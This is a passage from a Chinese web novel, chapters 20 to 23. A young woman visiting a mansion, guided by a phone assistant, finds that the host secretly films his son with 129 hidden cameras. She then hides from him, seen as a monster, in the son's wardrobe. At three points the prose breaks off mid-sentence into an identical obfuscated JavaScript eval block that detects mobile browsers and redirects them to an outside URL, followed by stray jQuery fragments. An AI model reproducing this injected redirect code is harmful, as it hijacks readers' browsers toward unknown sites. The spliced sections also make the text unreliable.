姨妈有些恍然,似乎没料到他对这些事情感兴趣,但还是详尽回答了。
李明眸本来就抬起屁股要走了,听到他们莫名其妙聊了起来,有些紧张。
果然,两人聊着聊着,沈思过说想让姨妈看一张海图,海图在楼顶书房,两人便自然而然地准备移步去书房看海图。
李明眸愈发紧张,看到他俩走向旋转楼梯,便也跟着过去,紧紧跟在姨妈身后——那楼梯尽头没有开灯,看着阴森可怖,也不知道上面有什么。
她要确保自己在姨妈身边。
她静静跟在他们身后走了一段,沈思过跟姨妈说了好一会话,才发现她在身后。
他回过头来看她,有些抱歉地说,竟把她给忘了,问她会不会很无聊。
然后他回想起什么似的,问道:“你不是想看狗吗?”
就在这时,骆绎声抱着一大束剪好的花走了进来。
沈思过便遥遥对着骆绎声招手,吩咐道:“阿声,你带她去看一下狗吧。”
骆绎声停下:“原来真想看狗啊?”
李明眸:“……”
她想给自己争取一下,声音很小:“其实我也没那么想看……”
姨妈微微掩嘴,似乎很高兴她可以有小伙伴一块玩:“不是你说的想看狗吗?”然后偷偷瞟了骆绎声一眼,朝她做眼色,“你就去吧。”
她只能站在原地,眼睁睁看着姨妈跟沈思过消失在旋转楼梯尽头。
*** ***
没过多久,李明眸又坐上了那辆高尔夫球车,骆绎声捧着一大捧花坐在她隔壁,前面开车的是一个五十多岁的司机。
司机跟她唠嗑:“小姑娘,怎么想到去看狗的?太太养的这藏獒,跟一般狗不一样,老凶了,只有小少爷逗得动,待会你让他摁着那狗……”
小少爷说的是骆绎声。
在司机的唠嗑声中,高尔夫球车经过了刚刚的玻璃花房,离狗舍越来越近。
李明眸跟着骆绎声下了高尔夫球车,司机留在上面等他们。
随着两人走近,一间尖尖的小木屋出现在前方,她开始听到狗吠声,越来越近,越来越响。
“汪!”
“汪汪汪!”
“汪嗷嗷嗷!”
竟然还变声了。
李明眸有些吓到——她从小就怕狗。所以姨妈刚刚才揶揄她。
她强忍着,假装自己不害怕,停在原地评价道:“这狗……听起来很精神。”
在变装舞会上,骆绎声也说过她精神。
骆绎声有些莞尔,看了一下她的脸色,斟酌道:“其实我今天挺忙的,要把剪下来的这些花做成干花。你可以陪我吗?”
李明眸如蒙大赦,连声说了几个“好”字,率先转头,一溜烟上了高尔夫球车。
然后她坐在那上面,用眼神期待地催促骆绎声上车离开。
骆绎声:“……”
20. 你很特别
上了高尔夫球车后,司机揶揄了李明眸几句,问她这狗是不是长得很可怕。
李明眸也不知道,毕竟她没看到这狗——她还没进去狗屋,就停下了脚步。
骆绎声默不做声,给她留了点面子。
等狗吠声听不到后,李明眸还心有余悸:
骆颖长这么甜美好看,养的狗却这么凶。
高尔夫球车回到了主建筑,李明眸跟在骆绎声身后,来到了这个空旷客厅的一个角落——这里有个壁炉,她刚刚都没有发现。
原来刚刚骆绎声抱着花枝进来,是想在这里烘干它们。结果被沈思过叫住,被迫带她去看狗。
她想到自己给骆绎声添了麻烦,带着他绕了个弯,后知后觉尴尬起来:她从来都没想看狗,只是因为“偷拍”了骆绎声后转身跑掉,就随便找了个说辞。
现在他知道她不想看狗了,他会不会觉得,自己刚刚就是在偷拍他?
她有些委屈,但转念一想——自己确实偷看了,只是不是用手机看的,而是用眼睛看的。
想到这里,她突然感到莫名的安心:反正人家也不算误解了她。
壁炉旁有张石桌,和几张凳子。两人就在那里坐下了。
骆绎声刚刚表现得很体贴,但这人的体贴似乎是有额度的——又或者他是真的忙,刚刚的说法不是托词——总之,招呼李明眸坐下后,他就开始做自己的事情了,没有再跟她说话。
李明眸本来有些拘谨,不知道在这种情况下,自己是否应该主动发起社交,安琪也没有给她提示。
但想到他在医务舱里扔掉追求者礼物的样子,她又重新安下心来:骆绎声大概也不想跟她社交,所以她不用说话也可以。
做了这个决定后,她气定神闲,开始观察对面的骆绎声。
骆绎声面前摆放着很多刚剪下来的鲜嫩花枝,他先把这些花的刺剪掉,再把枝干剪成长短不一的长度,一枝一枝地挂在壁炉边上。
李明眸留意着他的动作,眼神紧紧锁住他变化的身体线条,一眼都不带眨的,生怕错过一个细节。
她还在继续刚刚的任务——记忆骆绎声的身体信息,给《沙耶》增添画面细节。
她一边记忆,一边在心里默默给出评价:
骆绎声肩宽跟身高的比例大约是 1:4,很完美。胸肌还挺饱满的,腹肌有六块,块垒很明显。
侧身剪切花枝时,他腰侧会隐隐浮现出肌肉线条,随着他的动作隐匿和浮现。还有他的手臂线条,也会跟着他的动作浮动。尤其是小臂线条,绷紧又松开,像琴弦似的,怪好看的。
刚刚透过手机摄像头看,她发现他穿着衣服的时候,显得有些纤细,看不出来是这么矫健的人。
当他不穿衣服时,她明确意识到了:这个人确实是舞蹈专业的。
他剪切花枝的动作,就已经很好看了。不知道他跳舞的时候,身体剧烈运动起来,线条会有什么变化……
她那天晚上因为过分紧张,竟然都没有认真看。
在她浮想联翩的时候,骆绎声抬头看了她一眼。
她还记得自己不能移开目光的指令,于是直视着骆绎声,一动不动,也不眨眼。
骆绎声就看了她那一眼,然后就低下头,继续动作了。
谁都没说话。
过了一会,骆绎声再次抬起头——李明眸还用跟之前一模一样的姿势和动作在看他,像个雕塑一样,一点都没动过。
他眨了眨眼,还是没说话,继续低头,把手中玫瑰的刺一点点地剪下来。
又过了一会,骆绎声这次没再抬头。
他低头看着玫瑰的刺,一边动作,一边头也不抬地问她:“你不玩手机吗?”
李明眸秒答:“不玩,我手机大概死机了。”不然安琪不会下线。
等她回答完这句话,过了好几秒,她才反应过来:骆绎声是不是觉得被她盯着,不太舒服啊?刚刚那两眼也是这个意思吗?所以叫她玩玩手机?
她的脸轰一下红了,“唰”地一下低下头,连一眼都不好意思再看骆绎声了。
要是安琪在的话,就会提醒她不要老盯着人看。之前她就试过一次,在街上盯着人发呆,结果被人找麻烦了,骂她“看什么看”。
可是骆绎声好像不是想骂她。问完那句话后,他开始跟她搭话。
“你平时会这样坐着很久,什么都不做吗?”
“会、会的。这样是不是不太礼貌?”
他轻笑了一下:“还好,就是有点古怪。你看过《星期三》吗?里面的主角就叫星期三,她是个很奇怪的女孩……”
骆绎声娓娓道来,跟她讲了一个奇怪女孩的故事。然后他问她平时做什么,跟这个女孩相像吗?她发现他甚至能猜出她的一些喜好。
这么跟骆绎声聊了几句后……不,是被骆绎声问了几句话后,她发现自己没那么紧张了。她发现他好像是在……安抚她?
不过聊完之后,她总感觉哪里怪怪的:她好像单方面向骆绎声透露了很多信息,可是关于骆绎声的一条信息,她都没听到。
就在这时,骆绎声整理他剪好的花枝,不小心把木桌边的花艺胶带碰倒在地上。
胶带在地上滚了几圈,滚到了李明眸脚下。
李明眸没有多想,下意识蹲下身去,想帮骆绎声捡。可是她才刚把眼睛探到桌子底下,就立刻火烧一样地把头拔了出来。
她的动作太大,额头“砰”地一下撞在桌角上,但是因为太震惊,她都没顾上痛。
……她在桌子底下看到了不得了的东西。
虽说想要补充异象画的细节,但她看骆绎声的时候,都会习惯性把目光调整到他的腹肌以上。至于腹肌以下的,她会尽量避免扫视到那里。看到太多,也不太礼貌……
但是刚刚蹲下去的时候,她忘记非礼勿视了。
骆绎声看着她的额头:“你没事吧?”
李明眸摇了摇头,眼光飘向空中,不敢跟骆绎声对视:“没、没事。”
骆绎声皱着眉头,说道:“不要捡了。”
李明眸语气很坚定:“我没事,我可以!”难得有机会可以增长关于异性身体构造的知识,可不能因为害羞就白白错失了学习机会。
她深呼吸一口气,再次蹲了下去。她一只手在地上摸那筒胶带,另一只手遮住了眼睛。过了好一会,才从指缝间偷偷张开一条缝隙。
……太刺激了。
她把胶带捡起来后,骆绎声看着她涨红的脸,语气有些困惑:“怎么突然这样了?壁炉的火开太大了吗?”
她眼光再次飘向空中:“是有点热。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396233|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
骆绎声从座位上起身,微微弯着腰,越过桌面上的花枝和杂物,把手放在她的额头上。
他担心她不习惯跟人接触,用的手背轻轻碰她,没有用手掌。但是这没什么用,因为他只要站起来,李明眸受到的冲击,一定比他坐着的时候大。
她就那么愣愣坐着,看着他的腹肌,任由他把手背放在自己的额头上。
“怎么好像更热了?我去把壁炉关了吧。”
他说完话,拉开椅子,起身离开了客厅。
壁炉的火不是真火,也不知道在哪里关。
看着骆绎声的身影离开了客厅,李明眸才深深地呼出一口气,捧着自己狂跳的心脏,自言自语:
“我好像干了一些要被警察捉走的事情……”
这句话不知道怎么触发了安琪。
来到沈宅后一直沉寂的安琪,它突然说话了。李明眸的耳机里响起了它的声音:“这栋建筑里的摄像头高达129个,建议你现在就报警。”
李明眸下意识撇嘴:“你终于上线了。”
安琪又重复了一遍自己的话:“这栋建筑的违法摄像头有129个,违法监控视频8975条,时长总计525976分钟。”
李明眸的表情茫然起来。
她拿出自己的手机检查了一下,自言自语:“不是死机了,是坏了吗?”
安琪再次重复:“这栋建筑存在违法监控活动,建议你现在就拨打110。”
然后在李明眸的手机屏幕上,开始跳出大量的监控截图。
这些截图的主角,无一例外都是骆绎声……睡觉的骆绎声、吃饭的骆绎声、甚至是洗澡的骆绎声;还有孩童时期的骆绎声、少年时期的骆绎声、成年时期的骆绎声……
在所有的截图中,骆绎声都是瞳孔失焦的,他没有在看摄像头——他不知道摄像头的存在。
在他不知情的情况下,他出现在了这些画面里。
截图按时间顺序跳出。最后跳出的一张截图,是刚刚坐在壁炉边,裁剪花枝、跟李明眸聊天的22岁的骆绎声。
李明眸看了一下这个最新截图的拍摄视角,头慢慢往后转去。
在她身后的,就是那幅悬挂在墙上的,坐在复古丝绒沙发上的,骆颖的海报。
就在那幅巨型海报上,在骆颖的瞳孔映射中,那里有一个红点。
那个红点不是眼前事物在骆颖瞳孔中的映射,而是一个摄像头——一个隐藏得极好的针孔摄像头。
李明眸的鸡皮疙一片一片地竖起来:“怎么回事?”
安琪说:“这是第一个摄像头。你想看看另外的128个摄像头在哪里吗?跟我来。”
李明眸硬着头皮站了起来,跟着安琪的指示,来到了那条盘桓的旋转楼梯前。
旋转楼梯的尽头没有开灯,看着阴森可怖,也不知道上面有什么。
她一步一步踏了上去,走完二十五个台阶后,她来到了二楼。
她跟着安琪的提升,走向左边的通道,大约走了五十米,经过一个三岔口后,她来到了一条长长的走廊前。
走廊阴森幽暗,只在上方有几扇小小的透气窗,阳光无法照射进来。
在这条走廊的尽头,有一扇门。
李明眸抬脚,一步步往走廊尽头的门走去。
21. 鬼影幢幢
李明眸走过这条长长的走廊,走廊幽深黑暗,不知道会把她带去何方。
走廊是半封闭式的,外界的阳光经过顶端的通风口进来后,照在墙上,影影绰绰的。声音从通风口传进来后,也有些遥远的变形。
墙壁的两边堆满了蕨类盆栽。蕨类生长在阴暗潮湿的地方,不能被阳光直照。因为常年不见天日,所以它们的造型大多比较奇诡,这些叶片是巨大的、扇形的针状,弯折扭曲,远远望去,像是盘桓在走廊的巨大章鱼。
李明眸穿过巨大的扭曲叶片,听到自己的脚步声在走廊上回荡:
“哒。”
“哒。”
“哒。”
她走到走廊尽头,在安琪提示下,停在那扇面前。
她把门放在门把手上,缓缓推开。
一股木质地板清洁剂的气息扑面而来,映入眼帘的,首先是一种令人不适的空旷。
门后的空间极大,挑高也很高,巨大的落地窗占据了整面墙,窗外是精心设计却毫无生气的庭院景观,像一幅巨大的静物画。
墙壁是冰冷的白色,地面是深色的实木地板,打磨得光滑如镜,倒映着窗框的影子。
家具少得可怜:一张铺着灰色床单、毫无褶皱的单人床;一个极简设计的衣柜;和一张同样线条简洁的书桌,上面只放着一台笔记本电脑和一盏造型冷硬的台灯。
书桌对面的墙上,有一个嵌入式壁柜,上面陈列着为数不多的物品,全是奖杯和奖牌。
李明眸走到那些奖杯面前,终于确定了——这是骆绎声的房间。
“第三届全国青少年舞蹈大赛金奖”,“亚航国际舞蹈邀请赛现代舞一等奖”,“海市艺术学院年度汇演首席表演者”,“第十三届桃李杯金舞鞋奖”……
她在网上看到过骆绎声的资料,这些全都是他获得过的奖项。
在这些奖杯和奖牌下方,陈列着两张照片。
其中一张照片,仿佛是电影剧组的成员合照,里面有骆颖和沈思过;另一张照片,是海大的学生合影,里面有骆绎声。
没有任何人的单人照,也没有家庭合影。
整体而言,这是一个空旷到略显怪异,但仍然在正常范围内的房间。
安琪为什么让她来这里?
李明眸回过头去,细细观察房间内的细节,发现一个不对劲的地方:骆绎声没有杂物。
任何一个人,只要在一个地方生活久了,就一定会产生杂物:繁复而无用的小摆设、随手乱放的垃圾、丢在衣柜外面的衣服……
但是骆绎声的房间没有任何杂物。他的被子也叠得整整齐齐的,床单上甚至没有一丝褶皱。就像是……给别人参观的样板房。
她站在骆绎声的床前思考了一会,还发现一个稍显怪异的地方:骆绎声的床是摆在房间正中央的,就正正中中的那种,像酒店的床。
在家里的话,一般会这么摆放床吗?
就在这时,安琪的电子声在她的耳机中响了起来:
“在129个摄像头里,这个房间占据了39个,加上外面走廊的6个,是这栋建筑里摄像头最多的一个空间。
“而这个房间的39个摄像头中,正对着床的摄像头,高达15个。
“在39个摄像头中,对着大床的15个摄像头,是像素最高的批次。”
李明眸的脑袋“轰”地一声,好像真的有人在她头脑里投放了原子弹一样。她的头皮炸了起来,耳鸣持续了好一会,眼前一片空白。
等耳鸣消退下去、眼前景象也重新浮现,她后知后觉地发现,自己全身的鸡皮疙瘩一片一片地冒了出来。
如果她后背有毛发的话,这时候肯定也跟猫一样竖起来了。
安琪将这些摄像头的位置一一报出来:
“烟雾报警器,主吊灯,天花板气氛灯组,壁灯,奖杯1和奖杯5,电源开关,壁灯开关,门框高处踢脚线位置……”
这个看似普通的空旷房间,瞬间变成了一个全景敞视的、令人窒息的舞台,而唯一的观众,躲藏在看不见的屏幕之后。
她艰难地从喉咙里挤出一句话:“这些监控设备的终端……在哪里?”是谁在偷拍骆绎声?
安琪的语气没有一丝起伏:“是这栋建筑的主人,你刚刚聊天的人,他的ID名是沈思过。”
并不令人意外的答案。
就在这时候,走廊里传出了呼唤声:“明眸?是你在、那里吗,明、眸……”
声音是轻柔的、和蔼的、亲切的、是沈思过的声音。
可不知怎么的,随着吐出的字越来越多,那句话中的和蔼和亲切在渐渐消散,就像是机器人的程序被卡bug了一样,变得断断续续。
随着被写入的程序崩溃,它即将要展现出它原有的、真实的、狂乱的语气。
“明、眸……”
随着脚步声响起,那个呼唤声在渐渐接近这个房间。
李明眸猛地看向房间门——刚刚进来的时候,她忘记把房间门关上了!
“你在、里面吗……”
随着叫喊声越来越近,李明眸觉得自己不存在的毛发竖起来了。
她焦虑地四处扫视,发现这是一个封闭的房间,它的落地窗是不能打开的,唯一的一扇门已经被沈思过堵住了。
她焦急得在房间里乱窜,想找一个地方躲起来。
床底下?可是床底下没空位!
书桌底下?它是敞开的,进来的人一眼就能看到!
还有什么柜子,衣柜?
对、衣柜!!!
她飞快往衣柜的方向跑去。
“明、眸,你在里面、干什么……”
声音传到门门口时,李明眸已经跑到了衣柜前。
她额头上冒出冷汗,强忍着冲动,手指颤抖着,轻轻拉开衣柜门——她不敢用力,她怕发出声音,引起沈思过的注意。
拉开衣柜门后,她慢慢地、慢慢地钻进了进去。
沈思过进来房间的瞬间,她已经把整个身体都藏进了衣柜,并缓缓把柜门的最后一丝缝隙关上了。
等把柜门关严实后,她才感觉到自己身上凉凉的——就在刚刚的短短瞬间,她出了一身冷汗。
*** ***
沈思过走进了骆绎声的房间。
此时的房间已经恢复了原状,里面没有任何人。除了门敞开着,别的一切都跟原来一样:没有声音,没有气味,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396234|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有脚印。
一个没人来过的、没有痕迹的样板房。
沈思过踱步进来,把手指放在书桌上,一路划过去,像在感受桌面上的灰尘。
他一边抚摸着骆绎声房间内的东西,一边从嘴里发出声音:“明、眸,你进来、了吗……你在这里、干什么……”
他的声音在封闭的房间内回荡,声音忽大忽小,音调高低起伏,像是被什么扭曲过,无法固定到一个频道。
李明眸躲在衣柜里,看着外面的沈思过,安静地、严实地捂住了自己的嘴巴。
衣柜下方是一扇透气的百叶门,她从百叶门的缝隙看出去,看到了一个怪物。
那层人皮已经完全脱了下来,像是某种鱼类的皮一样,黏嗒嗒地堆在房间门口。怪物从人皮里走了出来,在房间里游荡。
它的样子,比李明眸上一次在昏暗的医务舱里看到的更可怕,也更恶心。它的皮肤是腐败的灰黑色,又或者说它的肉是灰黑色的,因为它没有皮肤,那层人皮就是它的皮肤。
灰黑色的皮肤上布满脓液,和鼓起的脓包。有些脓包破裂了,里面流出伴有细密气泡的、粘稠的黄色液体。浓重的腐臭味从破裂的脓包中传出来,充斥着整间房间,渗透进衣柜里。
怪物拖拽着自己的身体,在经过的地方,留下一条长长的、布满恶臭黏液的拖痕。
当它从衣柜隔壁经过时,李明眸听到它蹼状的手指划在柜门上的粘腻湿重声,恶臭的黏液从柜门滑落,滴在下方的百叶门上。
“明、眸,不在吗,去、哪里了……”
李明眸双手紧紧捂住自己的嘴巴,瞳孔微微放大,看着百叶门上的黏液缓缓蠕落,滴到地板上。
随着怪物的脚步声往门口走去,门口传来窸窸窣窣的声音,好像是它在穿上人皮的声音。
一会后,门口传来“咔哒”的一声关门声。
脚步声隔着一扇门在走廊响起,伴随着“明眸”的呼唤声,渐渐走远。
确认沈思过走了后,李明眸才把捂住嘴的双手放下,大口地呼吸起来。
终于放松下来后,她发现自己全身凉凉的,穿在里面的衣服湿透了……她刚刚飙了一身冷汗,层层叠叠的,竟然把里面的衣服浸湿了。
她坐在衣柜里,双手抱住自己的小腿,把头靠在膝盖上,缓慢地深呼吸,等自己的心跳平复下来。
安全了,没有被发现。
*** ***
抱着膝盖歇了一会后,她才抬起头,看向衣柜里的装饰。骆绎声的衣服颜色意外地跟她很相似,大部分是黑色和白色的,没有很亮眼的颜色。
衣柜是靠墙的嵌入款式,衣柜的吊顶做得很高。大部分衣服悬挂在高处,她坐着的时候,头顶还稍微有一些空位。
她有些困惑:挂得这么高,拿衣服的时候不会不方便吗?
不过骆绎声身高很显眼,应该有一米八八、一米□□,是特意挂得那么高的吗?为了适配身高?
等她把目光从吊顶上降下来时,她发现了他把衣服挂高的原因——她在衣柜的底部,她的对面方向,看到了一个枕头,和略显凌乱的床铺。
这个衣柜底部,好像才是骆绎声真正睡觉的地方。
22. 社死了
就在李明眸看着衣柜里的床铺发呆时,外面又响起了喊她的声音:“明眸!你去哪里了?”
这次不是沈思过,是姨妈的声音。
对,刚刚骆绎声去关壁炉后,她就跟着安琪的指示离开,来到了骆绎声的房间。现在外面的人大概在找她。
难道沈思过刚刚找她,也是因为这个原因?
想到这里,她懊悔起来。就跟早上在庭院里偷拍骆绎声一样,她当时不应该跑,她刚刚见到沈思过,也不应该躲。
那只是异象,异象无法真正伤害她。她镇定一点,假装看不到就是了。
现在她要怎么出去?
在她懊恼的时候,姨妈的声音开始有些着急:“明眸?人呢?”
伴随着姨妈的叫声,走廊外面也响起脚步声,似乎有人在附近走动。
李明眸也着急起来:她得尽快出去,否则待会让人堵在这里,就太尴尬了。她不应该出现在这么私密的地方。
她急忙打开衣柜门,钻了出去。
她出去的动作太急,不小心碰倒了衣柜里面的一个摆饰。
那是一个水晶圆球状的摆饰,“啪嚓”一声摔在地上,水晶外壳碎裂开来,里面的液体溅了一地。
李明眸:!
这声重物落地声后,走廊外面的脚步声停顿了一下,然后以一种缓慢的、稳定的速度往这个房间走来。
李明眸:!!!
李明眸的冷静和稳定,好像在刚刚躲避沈思过的时候用完了。随着脚步声渐渐逼近,她脑中那根代表理智的弦,“噌”地一声就断了。
她看着溅了一地的液体,心焦如焚,随手从衣柜里扒拉出一块抹布,就往地上擦。
她的逻辑清晰简单:赶紧把地上的水擦干净,复原现场,然后假装自己是不小心闯进来的,什么也没做,什么也没发现。
可是随着她抹地的动作,她发现那摊水变色了……
别说擦干净水迹,现在已经不是水迹的问题了。那摊无色透明的液体,竟然随着她拭擦的动作,开始转变成深深浅浅的红色……
她愣住了,头脑一片空白,又机械地重复了一下拭擦的动作。
随着她的动作,刚刚只在地上汇成一小摊的透明液体,现在开始大面积扩散,涂得满地都是,并且彻底转变成深红色了。
她停下动作,看着涂了满地的变色溶液,宕机的头脑中,像是自动程序般飘过一句话:哦,是有一些化学物遇到空气会变色,比如苯酚和氯化亚铁,其中有些也被用以制作精品摆饰……
就在她看着地上的红色溶液发呆时,脚步声终于穿过走廊,来到了房间门口。
“咔哒”一声,刚被沈思过关上的房间门,重新打开了。
进来的不是姨妈,也不是沈思过,是这间房间的主人,骆绎声。
李明眸愣在原地,一动不动地,就这么看着骆绎声开门走了进来。
要是她今天也吃了榴莲,她现在就会昏过去,重演一遍上次的场景。但她今天身体状况良好,所以她只是愣在原地,完全宕机了,像个雕塑。
骆绎声进来后,先看了一眼地上的红色液体,和碎裂在地上的水晶摆饰;再看了一眼他洞开的衣柜门;然后才看向跪坐在原地,愣愣看着他的李明眸;最后,他的目光落在李明眸手中的那块“抹布”上。
然后,他的目光又从“抹布”回到李明眸身上,脸上什么表情都没有。
他没有蹙眉头、没有厌烦或者不耐、也没有生气。他就是什么表情都没有。
李明眸看到他缺乏表情的脸,打了个冷颤,然后回过神来,反应过来自己还跪坐在地上。
这时候,姨妈和沈思过的声音也出现在走廊外面:
“找到了吗?”
“在你房间吗?”
李明眸慌张之下,不知道怎么的,眼泪瞬间就从眼眶里涌出来了。
她吓得崩溃,一下子就哭了出来,还抽噎了两声……
骆绎声的眉头慢慢蹙了起来。
“明眸,明眸在这里吗?”
是姨妈的声音。
李明眸又重重地抽噎了一下。
骆绎声静静看了她一会,慢慢地走出去,把门从外面关上了。
突然,房间内又只剩下李明眸一个人了。
她愣住了。
然后她听到骆绎声在外面说:“不在里面,可能出去透气了吧。”
“出去找找。”
“别太担心,这么大个人了,不会丢的。”
……
……
……
一番敷衍后,姨妈和沈思过的脚步声走远了。骆绎声还站在房间门口,没有离开,也没有推门进来。
大概等了半分钟,他才再次打开门,从外面进来。
李明眸“蹭”地一下站起来,还立正了。
她带着哭腔说:“我、我……”
她也不知道自己能解释些什么,可她觉得,自己好像应该说些什么。
骆绎声听她“我”了两声,大概是等着她解释。可她“我”了两声后,后面就没有后文了。
室内一片寂静,李明眸后颈的汗毛再次竖了起来。
等了一会后,骆绎声没有表情的脸上浮现出一个微笑。那个微笑很公式化,嘴角呈三十度翘起,微微露出一点牙齿,像是牙膏广告上的模特笑容。
“你刚刚在外面探索,不小心迷路走进来,然后不小心打翻我的东西,着急之下,打开我的衣柜随便扯了件衣服,想帮我把地上擦干净……”
他给李明眸补全了行动逻辑,语气非常温和,但是语调很平,没有丝毫起伏。
他说完后,看到李明眸愣着不会接话,又慢吞吞问了一句:“是这样吗?”
李明眸激灵灵地抖了一下,结巴地说:“是、是这样。”
骆绎声又说:“你现在能把我的内裤放下了。”
李明眸迷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396235|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茫地看着他:内裤?什么内裤?
骆绎声保持着那个微笑:“你右手。”
李明眸低头看向自己的右手,瞬间瞪大双眼,内心的震撼无以复加——原来她刚刚从衣柜里随手扒拉出来擦地的“抹布”,竟然是骆绎声的内裤!
这是一条黑色的内裤,上面染上了深深浅浅的污渍,是她刚刚擦地沾上的变色溶液。
她刚刚太着急了,没发现这是内裤,甚至还一直拿着它,就当着骆绎声的面!
她的身体比她的头脑反应得快,等她反应过来之后,她已经在慌张之下,把骆绎声的内裤扔在地上了。
下一个瞬间,她反应过来,立刻又迅猛地把内裤从地上捡起,紧张地语无伦次:
“对、对不起,我拿回去洗了还给你……不、不对!我现在就洗干净帮你晾干!”
在她语无伦次的时候,骆绎声一步步朝她走来。
她觉得自己搞不好会被打,吓得后退几步,后背贴在墙上。
这次骆绎声没有体贴地跟她保持距离,直到把她堵在墙上,他才微笑着,从她手里夺过了那条内裤——没错,是“夺”的,他还用了点力气。因为李明眸在紧张之下,大力拽紧了他的内裤。
他把李明眸堵在墙上,就那么当着她的面,把手移到了垃圾桶的上方——垃圾桶在他隔壁。
然后他放开手,任由手里抢回来的内裤自由落体,“啪”地一声,掉进了垃圾桶里。
“没关系,脏了就不好穿了。我还有很多内裤。”
他是微笑着说出的这句话,语气也很温和,但李明眸总觉得毛毛的。
等这句话说完,他才后退几步,给李明眸留出移动的空间。
“出去吧,你姨妈要走了,她找了你很久。”
“嗯、嗯。”
李明眸低着头,从骆绎声留出的缝隙中挤了出去,逃出了他的房间。
*** ***
等出了房间,回到一楼客厅,终于见到姨妈的时候,李明眸有种逃出生天后骤见监护人的感觉,立刻就跑了过去。
姨妈找了她半天,见到她出现,责备的话先说了出来:“你这孩子,打你电话你……”
说到后面,看到李明眸泛红的眼圈,她停下责备,眼神狐疑。
李明眸也顾不上这是在别人家里了,她一下子就冲到姨妈怀里,紧紧抱住她。
紧接着,沈思过出现了,他又恢复了翩翩人形,很有风度的样子,开始打圆场:“没关系,找到了就好。”
骆绎声也从房间出来了,他看着李明眸,帮她解释道:“她刚刚在洗手间,好像是肚子有些痛。”
李明眸悄悄从姨妈的正面,移动了一下,藏到了姨妈的背面,好避开这对父子的目光。
姨妈的笑容尴尬了起来。
骆绎声微笑:“她不舒服,您早点带她回家吧。”
然后她就结束了自己多灾多难的一天,被姨妈领回家了。
23. 迷雾重重
当天从海湾半岛离开的路上,李明眸感觉非常绝望。如果人可以因为丢脸而死,她应该已经死在回家路上了。
“以后没办法再体面地生活了……”
“被开除人籍了……”
她趴在车窗上,心里满是灰心的想法。
姨妈什么也没问,她在隔壁不动声色地观察她——就是为了避开姨妈视线,所以她才趴车窗上的。
回到家后,她灰心地拿出几套高数题开始做:极限与连续、导数与微分、中值定理、不定积分与定积分、多元函数微积分……
高数题可以迫使她集中注意力,无暇关注烦心的事情。
她难过的时候就会做高数题。
她把这些套题全部做了一遍,尝试缓解自己的忧郁。
但是之前特意收集的套题很快就做完了,她找不到更难的竞赛题了。
她对着填满的试卷,才停笔没多久,骆绎声的内裤就浮现在她的脑海中。
她顿时“啊”了一下,发出仿佛被门夹到的声音。
姨妈听到喊声,从她房间门口经过,根据她桌面上高数题的厚度,判断出她现在心情很糟糕。
姨妈终究还是没忍住,装作毫不好奇的样子,问她:“下午发生了什么。”
李明眸没有回答,她默默拿过姨妈的拖把和拖把桶,把房子里所有的地砖都拖了几遍,直到这些地砖光可鉴人,仿佛用水涮过。
然后又把马桶刷了几遍,顺手把墙上的瓷砖也刷了。
直到累得想死,她感觉仿佛没那么烦恼了。
此时她只想吃饭。
*** ***
次日是星期一,回到海大上课后,李明眸开始躲着骆绎声。
虽然他们原本也不会见面,毕竟在《弗雷娜》之前,他们同校两年,也一直没见过。但为了安全起见,她每移动到一个新场所,都会先观察一下,骆绎声会不会在场。
艺术学院和信息学院相隔3公里,两人上大课的教室也不是同一栋教学楼;据她观察,艺术学院的人课后经常出现在活动中心,而她只去图书馆;食堂也是安全的,骆绎声不在学校吃饭。
就在她渐渐放松警惕,觉得自己是安全的时候,她在宋教授的《人工智能开发史》选修课上见到了骆绎声。
她是宋教授的助教,那天是这门课第一次开课。她在教室门口见到骆绎声的时候,反应非常迅捷——她当场就躲到了教室门背后。
骆绎声当时正从教室门外进来,经过那扇门的时候,他停顿了一会,就走过去了。
李明眸还在门后躲了一会,直到宋教授进来,到处都找不到她的时候,她才灰溜溜地从门后面走了出来。
然后在那节课的上课过程中,她整节课都看着教室窗外。包括在帮宋教授点名的时候,她也是看着窗外面喊的名字,然后听个响,也不知道是谁在喊“到”。
第一节课结束后,她求宋教授别让她当助教了,放她走吧。宋教授一通反求,她没熬住,终究还是没走成。
打那之后,她就每个周二都要见骆绎声一次——就是《人工智能开发史》的上课时间——就跟定期上刑一样。
有些学生会偷偷旷课,她暗暗祈祷骆绎声也可以那样做,并在内心给出特殊待遇:如果骆绎声旷课,她可以不登记他名字。
但骆绎声从不旷课,他甚至不迟到早退。
这很令人绝望。
唯一可以称得上安慰的一点,就是骆绎声从不在课上跟她打招呼,在走廊遇到的时候,也不会看向她——他表现得就像不认识她一样。
李明眸暗暗松了口气。
*** ***
